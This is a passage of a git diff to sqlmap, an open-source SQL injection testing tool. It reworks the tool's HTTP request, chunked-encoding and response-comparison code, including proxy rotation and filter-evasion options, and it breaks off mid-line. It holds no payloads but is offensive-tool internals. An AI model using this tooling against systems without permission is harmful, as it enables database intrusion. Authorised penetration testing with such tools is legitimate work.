b/lib/request/chunkedhandler.py new file mode 100644 index 00000000000..573f3b3d032 --- /dev/null +++ b/lib/request/chunkedhandler.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import conf +from lib.core.enums import HTTP_HEADER +from thirdparty.six.moves import urllib as _urllib + +class ChunkedHandler(_urllib.request.HTTPHandler): + """ + Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding + """ + + def _http_request(self, request): + host = request.get_host() if hasattr(request, "get_host") else request.host + if not host: + raise _urllib.error.URLError("no host given") + + if request.data is not None: # POST + data = request.data + if not request.has_header(HTTP_HEADER.CONTENT_TYPE): + request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") + if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked: + request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) + + sel_host = host + if request.has_proxy(): + sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc + + if not request.has_header(HTTP_HEADER.HOST): + request.add_unredirected_header(HTTP_HEADER.HOST, sel_host) + for name, value in self.parent.addheaders: + name = name.capitalize() + if not request.has_header(name): + request.add_unredirected_header(name, value) + return request + + http_request = _http_request diff --git a/lib/request/comparison.py b/lib/request/comparison.py index ef0a6f11dcf..4d1f3edce49 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,18 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from __future__ import division + import re from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent +from lib.core.common import getLastRequestHTTPError from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError +from lib.core.convert import getBytes from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -20,16 +24,25 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX -from lib.core.settings import MIN_RATIO +from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_RATIO +from lib.core.settings import MIN_RATIO from lib.core.settings import REFLECTED_VALUE_MARKER -from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData +from thirdparty import six def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): + if not isinstance(page, (six.text_type, six.binary_type, type(None))): + logger.critical("got page of type %s; repr(page)[:200]=%s" % (type(page), repr(page)[:200])) + + try: + page = b"".join(page) + except: + page = six.text_type(page) + _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) return _ @@ -59,13 +72,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if any((conf.string, conf.notString, conf.regexp)): rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) - # String to match in page when the query is True and/or valid + # String to match in page when the query is True if conf.string: return conf.string in rawResponse - # String to match in page when the query is False and/or invalid + # String to match in page when the query is False if conf.notString: - return conf.notString not in rawResponse + if conf.notString in rawResponse: + return False + else: + if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()): + return None + else: + return True # Regular expression to match in page when the query is True and/or valid if conf.regexp: @@ -81,12 +100,17 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if page: # In case of an DBMS error page return None if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: - return None + if not (wasLastResponseHTTPError() and getLastRequestHTTPError() in (conf.ignoreCode or [])): + return None # Dynamic content lines to be excluded before comparison if not kb.nullConnection: page = removeDynamicContent(page) - seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate)) + if threadData.lastPageTemplate != kb.pageTemplate: + threadData.lastPageTemplateCleaned = removeDynamicContent(kb.pageTemplate) + threadData.lastPageTemplate = kb.pageTemplate + + seqMatcher.set_seq1(threadData.lastPageTemplateCleaned) if not pageLength: pageLength = len(page) @@ -105,10 +129,10 @@ def _comparison(page, headers, code, getRatioValue, pageLength): else: # Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # (e.g. if one page is PDF and the other is HTML) - if isinstance(seqMatcher.a, str) and isinstance(page, unicode): - page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") - elif isinstance(seqMatcher.a, unicode) and isinstance(page, str): - seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") + if isinstance(seqMatcher.a, six.binary_type) and isinstance(page, six.text_type): + page = getBytes(page, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") + elif isinstance(seqMatcher.a, six.text_type) and isinstance(page, six.binary_type): + seqMatcher.set_seq1(getBytes(seqMatcher.a, kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")) if any(_ is None for _ in (page, seqMatcher.a)): return None @@ -134,17 +158,39 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if seq1 is None or seq2 is None: return None - seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") - seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") + if isinstance(seq1, six.binary_type): + seq1 = seq1.replace(REFLECTED_VALUE_MARKER.encode(), b"") + elif isinstance(seq1, six.text_type): + seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") + + if isinstance(seq2, six.binary_type): + seq2 = seq2.replace(REFLECTED_VALUE_MARKER.encode(), b"") + elif isinstance(seq2, six.text_type): + seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") if kb.heavilyDynamic: - seq1 = seq1.split("\n") - seq2 = seq2.split("\n") + seq1 = seq1.split("\n" if isinstance(seq1, six.text_type) else b"\n") + seq2 = seq2.split("\n" if isinstance(seq2, six.text_type) else b"\n") + + key = None + else: + key = (hash(seq1), hash(seq2)) seqMatcher.set_seq1(seq1) seqMatcher.set_seq2(seq2) - ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3) + if key in kb.cache.comparison: + ratio = kb.cache.comparison[key] + else: + try: + ratio = seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio() + except (TypeError, MemoryError): + ratio = seqMatcher.ratio() + + ratio = round(ratio, 3) + + if key: + kb.cache.comparison[key] = ratio # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content diff --git a/lib/request/connect.py b/lib/request/connect.py index de9dbff848f..ad22bf9575c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,24 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import binascii -import compiler -import httplib -import keyword +import inspect import logging +import os +import random import re import socket import string import struct +import sys import time import traceback -import urllib -import urllib2 -import urlparse try: import websocket @@ -27,27 +25,29 @@ class WebSocketException(Exception): pass -from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds +from lib.core.common import checkFile from lib.core.common import checkSameHost +from lib.core.common import chunkSplitPostData from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import escapeJsonValue from lib.core.common import evaluateCode from lib.core.common import extractRegexResult +from lib.core.common import filterNone from lib.core.common import findMultipartPostBoundary from lib.core.common import getCurrentThreadData from lib.core.common import getHeader from lib.core.common import getHostHeader from lib.core.common import getRequestHeader from lib.core.common import getSafeExString -from lib.core.common import getUnicode -from lib.core.common import isMultiThreadMode from lib.core.common import logHTTPTraffic -from lib.core.common import pushValue +from lib.core.common import openFile from lib.core.common import popValue +from lib.core.common import parseJson +from lib.core.common import pushValue from lib.core.common import randomizeParameterValue from lib.core.common import randomInt from lib.core.common import randomStr @@ -57,11 +57,19 @@ class WebSocketException(Exception): from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev -from lib.core.common import wasLastResponseDelayed -from lib.core.common import unicodeencode +from lib.core.common import unArrayizeValue from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode +from lib.core.common import wasLastResponseDelayed +from lib.core.compat import LooseVersion +from lib.core.compat import patchHeaders +from lib.core.compat import xrange +from lib.core.convert import encodeBase64 +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -83,6 +91,8 @@ class WebSocketException(Exception): from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException @@ -92,38 +102,49 @@ class WebSocketException(Exception): from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_USER_AGENT -from lib.core.settings import EVALCODE_KEYWORD_SUFFIX -from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE +from lib.core.settings import EVALCODE_ENCODED_PREFIX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE -from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE +from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE +from lib.core.settings import IPS_WAF_CHECK_PAYLOAD +from lib.core.settings import IS_WIN +from lib.core.settings import JAVASCRIPT_HREF_REGEX +from lib.core.settings import LARGE_READ_TRIM_MARKER +from lib.core.settings import LIVE_COOKIES_TIMEOUT +from lib.core.settings import MIN_HTTPX_VERSION +from lib.core.settings import MAX_CONNECTION_READ_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS from lib.core.settings import MAX_MURPHY_SLEEP_TIME from lib.core.settings import META_REFRESH_REGEX -from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MAX_TIME_RESPONSES -from lib.core.settings import IPS_WAF_CHECK_PAYLOAD -from lib.core.settings import IS_WIN -from lib.core.settings import LARGE_CHUNK_TRIM_MARKER +from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PERMISSION_DENIED_REGEX from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import RANDOM_STRING_MARKER from lib.core.settings import REPLACEMENT_MARKER +from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV +from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT +from lib.core.settings import YUGE_FACTOR from lib.request.basic import decodePage from lib.request.basic import forgeHeaders from lib.request.basic import processResponse -from lib.request.direct import direct from lib.request.comparison import comparison +from lib.request.direct import direct from lib.request.methodrequest import MethodRequest -from thirdparty.odict.odict import OrderedDict +from lib.utils.safe2bin import safecharencode +from thirdparty import six +from thirdparty.odict import OrderedDict +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib from thirdparty.socks.socks import ProxyError class Connect(object): @@ -133,6 +154,13 @@ class Connect(object): @staticmethod def _getPageProxy(**kwargs): + try: + if (len(inspect.stack()) > sys.getrecursionlimit() // 2): # Note: https://github.com/sqlmapproject/sqlmap/issues/4525 + warnMsg = "unable to connect to the target URL" + raise SqlmapConnectionException(warnMsg) + except (TypeError, UnicodeError): + pass + try: return Connect.getPage(**kwargs) except RuntimeError: @@ -143,9 +171,9 @@ def _retryProxy(**kwargs): threadData = getCurrentThreadData() threadData.retriesCount += 1 - if conf.proxyList and threadData.retriesCount >= conf.retries: + if conf.proxyList and threadData.retriesCount >= conf.retries and not kb.locks.handlers.locked(): warnMsg = "changing proxy" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.proxy = None threadData.retriesCount = 0 @@ -170,16 +198,23 @@ def _retryProxy(**kwargs): warnMsg += "you could successfully use " warnMsg += "switch '--tor' " if IS_WIN: - warnMsg += "(e.g. 'https://www.torproject.org/download/download.html.en')" + warnMsg += "(e.g. 'https://www.torproject.org/download/')" else: warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')" else: warnMsg = "if the problem persists please check that the provided " - warnMsg += "target URL is reachable. In case that it is, " - warnMsg += "you can try to rerun with " + warnMsg += "target URL is reachable" + + items = [] if not conf.randomAgent: - warnMsg += "switch '--random-agent' and/or " - warnMsg += "proxy switches ('--ignore-proxy', '--proxy',...)" + items.append("switch '--random-agent'") + if not any((conf.proxy, conf.proxyFile, conf.tor)): + items.append("proxy switches ('--proxy', '--proxy-file'...)") + if items: + warnMsg += ". In case that it is, " + warnMsg += "you can try to rerun with " + warnMsg += " and/or ".join(items) + singleTimeWarnMessage(warnMsg) elif conf.threads > 1: @@ -192,7 +227,7 @@ def _retryProxy(**kwargs): @staticmethod def _connReadProxy(conn): - retVal = "" + retVal = b"" if not kb.dnsMode and conn: headers = conn.info() @@ -208,15 +243,18 @@ def _connReadProxy(conn): if not conn: break else: - _ = conn.read(MAX_CONNECTION_CHUNK_SIZE) + try: + part = conn.read(MAX_CONNECTION_READ_SIZE) + except AssertionError: + part = b"" - if len(_) == MAX_CONNECTION_CHUNK_SIZE: + if len(part) == MAX_CONNECTION_READ_SIZE: warnMsg = "large response detected. This could take a while" singleTimeWarnMessage(warnMsg) - _ = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_CHUNK_TRIM_MARKER, kb.chars.start), _) - retVal += _ + part = re.sub(getBytes(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start)), getBytes("%s%s%s" % (kb.chars.stop, LARGE_READ_TRIM_MARKER, kb.chars.start)), part) + retVal += part else: - retVal += _ + retVal += part break if len(retVal) > MAX_CONNECTION_TOTAL_SIZE: @@ -224,6 +262,9 @@ def _connReadProxy(conn): singleTimeWarnMessage(warnMsg) break + if conf.yuge: + retVal = YUGE_FACTOR * retVal + return retVal @staticmethod @@ -233,22 +274,8 @@ def getPage(**kwargs): the target URL page content """ - start = time.time() - - if isinstance(conf.delay, (int, float)) and conf.delay > 0: - time.sleep(conf.delay) - if conf.offline: return None, None, None - elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: - if conf.murphyRate: - time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) - return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3) - - threadData = getCurrentThreadData() - with kb.locks.request: - kb.requestCounter += 1 - threadData.lastRequestUID = kb.requestCounter url = kwargs.get("url", None) or conf.url get = kwargs.get("get", None) @@ -257,7 +284,6 @@ def getPage(**kwargs): cookie = kwargs.get("cookie", None) ua = kwargs.get("ua", None) or conf.agent referer = kwargs.get("referer", None) or conf.referer - host = kwargs.get("host", None) or conf.host direct_ = kwargs.get("direct", False) multipart = kwargs.get("multipart", None) silent = kwargs.get("silent", False) @@ -272,14 +298,76 @@ def getPage(**kwargs): checking = kwargs.get("checking", False) skipRead = kwargs.get("skipRead", False) finalCode = kwargs.get("finalCode", False) + chunked = kwargs.get("chunked", False) or conf.chunked + + if isinstance(conf.delay, (int, float)) and conf.delay > 0: + time.sleep(conf.delay) + + start = time.time() + + threadData = getCurrentThreadData() + with kb.locks.request: + kb.requestCounter += 1 + threadData.lastRequestUID = kb.requestCounter + + if conf.proxyFreq: + if kb.requestCounter % conf.proxyFreq == 0: + conf.proxy = None + + warnMsg = "changing proxy" + logger.warning(warnMsg) + + setHTTPHandlers() + + if conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: + if conf.murphyRate: + time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) + + page, headers, code = randomStr(int(randomInt()), alphabet=[_unichr(_) for _ in xrange(256)]), None, None if not conf.murphyRate else randomInt(3) + + threadData.lastPage = page + threadData.lastCode = code + + return page, headers, code + + if conf.liveCookies: + with kb.locks.liveCookies: + if not checkFile(conf.liveCookies, raiseOnError=False) or os.path.getsize(conf.liveCookies) == 0: + warnMsg = "[%s] [WARNING] live cookies file '%s' is empty or non-existent. Waiting for timeout (%d seconds)" % (time.strftime("%X"), conf.liveCookies, LIVE_COOKIES_TIMEOUT) + dataToStdout(warnMsg) + + valid = False + for _ in xrange(LIVE_COOKIES_TIMEOUT): + if checkFile(conf.liveCookies, raiseOnError=False) and os.path.getsize(conf.liveCookies) > 0: + valid = True + break + else: + dataToStdout('.') + time.sleep(1) + + dataToStdout("\n") + + if not valid: + errMsg = "problem occurred while loading cookies from file '%s'" % conf.liveCookies + raise SqlmapValueException(errMsg) + + cookie = openFile(conf.liveCookies).read().strip() + cookie = re.sub(r"(?i)\ACookie:\s*", "", cookie) if multipart: post = multipart + else: + if not post: + chunked = False - websocket_ = url.lower().startswith("ws") + elif chunked: + post = _urllib.parse.unquote(post) + post = chunkSplitPostData(post) - if not urlparse.urlsplit(url).netloc: - url = urlparse.urljoin(conf.url, url) + webSocket = url.lower().startswith("ws") + + if not _urllib.parse.urlsplit(url).netloc: + url = _urllib.parse.urljoin(conf.url, url) # flag to know if we are dealing with the same target host target = checkSameHost(url, conf.url) @@ -300,7 +388,7 @@ def getPage(**kwargs): code = None status = None - _ = urlparse.urlsplit(url) + _ = _urllib.parse.urlsplit(url) requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url) responseMsg = u"HTTP response " @@ -328,8 +416,8 @@ def getPage(**kwargs): pass elif target: - if conf.forceSSL and urlparse.urlparse(url).scheme != "https": - url = re.sub(r"(?i)\Ahttp:", "https:", url) + if conf.forceSSL: + url = re.sub(r"(?i)\A(http|ws):", r"\g<1>s:", url) url = re.sub(r"(?i):80/", ":443/", url) if PLACE.GET in conf.parameters and not get: @@ -353,10 +441,10 @@ def getPage(**kwargs): url = "%s?%s" % (url, get) requestMsg += "?%s" % get - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str # Prepare HTTP headers - headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {}) + headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: getHeader(dict(conf.httpHeaders), HTTP_HEADER.HOST) or getHostHeader(url)}, base=None if target else {}) if HTTP_HEADER.COOKIE in headers: cookie = headers[HTTP_HEADER.COOKIE] @@ -368,9 +456,6 @@ def getPage(**kwargs): headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader if not conf.requestFile or not target: - if not getHeader(headers, HTTP_HEADER.HOST): - headers[HTTP_HEADER.HOST] = getHostHeader(url) - if not getHeader(headers, HTTP_HEADER.ACCEPT): headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE @@ -384,7 +469,7 @@ def getPage(**kwargs): break if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): - headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE) + headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE if unArrayizeValue(conf.base64Parameter) != HTTPMETHOD.POST else PLAIN_TEXT_CONTENT_TYPE) if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]: warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE @@ -398,28 +483,60 @@ def getPage(**kwargs): if conf.keepAlive: headers[HTTP_HEADER.CONNECTION] = "keep-alive" + if chunked: + headers[HTTP_HEADER.TRANSFER_ENCODING] = "chunked" + if auxHeaders: headers = forgeHeaders(auxHeaders, headers) - for key, value in headers.items(): + if kb.headersFile: + content = openFile(kb.headersFile, 'r').read() + for line in content.split("\n"): + line = getText(line.strip()) + if ':' in line: + header, value = line.split(':', 1) + headers[header] = value + + if conf.localhost: + headers[HTTP_HEADER.HOST] = "localhost" + + for key, value in list(headers.items()): + if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): + value = re.sub(r"(?i)(,)br(,)?", lambda match: ',' if match.group(1) and match.group(2) else "", value) or "identity" + del headers[key] - value = unicodeencode(value, kb.pageEncoding) - for char in (r"\r", r"\n"): - value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) - headers[unicodeencode(key, kb.pageEncoding)] = value.strip("\r\n") + if isinstance(value, six.string_types): + for char in (r"\r", r"\n"): + value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) + headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip("\r\n")) # Note: Python3 has_header() expects non-bytes value - url = unicodeencode(url) - post = unicodeencode(post) + if six.PY2: + url = getBytes(url) # Note: Python3 requires text while Python2 has problems when mixing text with binary POST - if websocket_: + if webSocket: ws = websocket.WebSocket() - ws.settimeout(timeout) + ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout) ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically ws.send(urldecode(post or "")) - page = ws.recv() + + _page = [] + + if kb.webSocketRecvCount is None: + while True: + try: + _page.append(ws.recv()) + except websocket.WebSocketTimeoutException: + kb.webSocketRecvCount = len(_page) + break + else: + for i in xrange(max(1, kb.webSocketRecvCount)): + _page.append(ws.recv()) + + page = "\n".join(_page) + ws.close() code = ws.status - status = httplib.responses[code] + status = _http_client.responses[code] class _(dict): pass @@ -427,7 +544,7 @@ class _(dict): responseHeaders = _(ws.getheaders()) responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] - requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) + requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in responseHeaders.items()]) requestMsg += "\r\n%s" % requestHeaders if post is not None: @@ -439,24 +556,43 @@ class _(dict): logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: - if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): - method = unicodeencode(method) + post = getBytes(post) + + if unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST: + if kb.place != HTTPMETHOD.POST: + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) + else: + post = urldecode(post, convall=True) + post = encodeBase64(post) + + if target and cmdLineOptions.method or method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): req = MethodRequest(url, post, headers) - req.set_method(method) + req.set_method(cmdLineOptions.method or method) elif url is not None: - req = urllib2.Request(url, post, headers) + req = _urllib.request.Request(url, post, headers) else: return None, None, None - requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()]) + for function in kb.preprocessFunctions: + try: + function(req) + except Exception as ex: + errMsg = "error occurred while running preprocess " + errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) + raise SqlmapGenericException(errMsg) + else: + post, headers = req.data, req.headers + + requestHeaders += "\r\n".join(["%s: %s" % (u"-".join(_.capitalize() for _ in getUnicode(key).split(u'-')) if hasattr(key, "capitalize") else getUnicode(key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) - cookies = conf.cj._cookies_for_request(req) + with conf.cj._cookies_lock: + cookies = conf.cj._cookies_for_request(req) requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: - if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH): + if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) if not getRequestHeader(req, HTTP_HEADER.CONNECTION): @@ -467,12 +603,8 @@ class _(dict): if post is not None: requestMsg += "\r\n\r\n%s" % getUnicode(post) - requestMsg += "\r\n" - - if not multipart: - threadData.lastRequestMsg = requestMsg - - logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + if not chunked: + requestMsg += "\r\n" if conf.cj: for cookie in conf.cj: @@ -482,10 +614,57 @@ class _(dict): for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) - conn = urllib2.urlopen(req) + if conf.http2: + try: + import httpx + except ImportError: + raise SqlmapMissingDependence("httpx[http2] not available (e.g. 'pip%s install httpx[http2]')" % ('3' if six.PY3 else "")) + + if LooseVersion(httpx.__version__) < LooseVersion(MIN_HTTPX_VERSION): + raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION)) + + try: + proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None + with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: + conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) + except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex: + raise _http_client.HTTPException(getSafeExString(ex)) + else: + conn.code = conn.status_code + conn.msg = conn.reason_phrase + conn.info = lambda c=conn: c.headers + + conn._read_buffer = conn.read() + conn._read_offset = 0 + + requestMsg = re.sub(" HTTP/[0-9.]+\r\n", " %s\r\n" % conn.http_version, requestMsg, count=1) + + if not multipart: + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + def _read(count=None): + offset = conn._read_offset + if count is None: + result = conn._read_buffer[offset:] + conn._read_offset = len(conn._read_buffer) + else: + result = conn._read_buffer[offset: offset + count] + conn._read_offset += len(result) + return result + + conn.read = _read + else: + if not multipart: + threadData.lastRequestMsg = requestMsg + + logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) + + conn = _urllib.request.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): - kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) + kb.authHeader = getUnicode(getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) @@ -496,8 +675,8 @@ class _(dict): # Get HTTP response if hasattr(conn, "redurl"): - page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None - skipLogTraffic = kb.redirectChoice == REDIRECTION.NO + page = (threadData.lastRedirectMsg[1] if kb.choices.redirect == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None + skipLogTraffic = kb.choices.redirect == REDIRECTION.NO code = conn.redcode if not finalCode else code else: page = Connect._connReadProxy(conn) if not skipRead else None @@ -505,13 +684,18 @@ class _(dict): if conn: code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes) responseHeaders = conn.info() - responseHeaders[URI_HTTP_HEADER] = conn.geturl() + responseHeaders[URI_HTTP_HEADER] = conn.geturl() if hasattr(conn, "geturl") else url + + if getattr(conn, "redurl", None) is not None: + responseHeaders[HTTP_HEADER.LOCATION] = conn.redurl + + responseHeaders = patchHeaders(responseHeaders) kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader) else: code = None responseHeaders = {} - page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + page = decodePage(page, 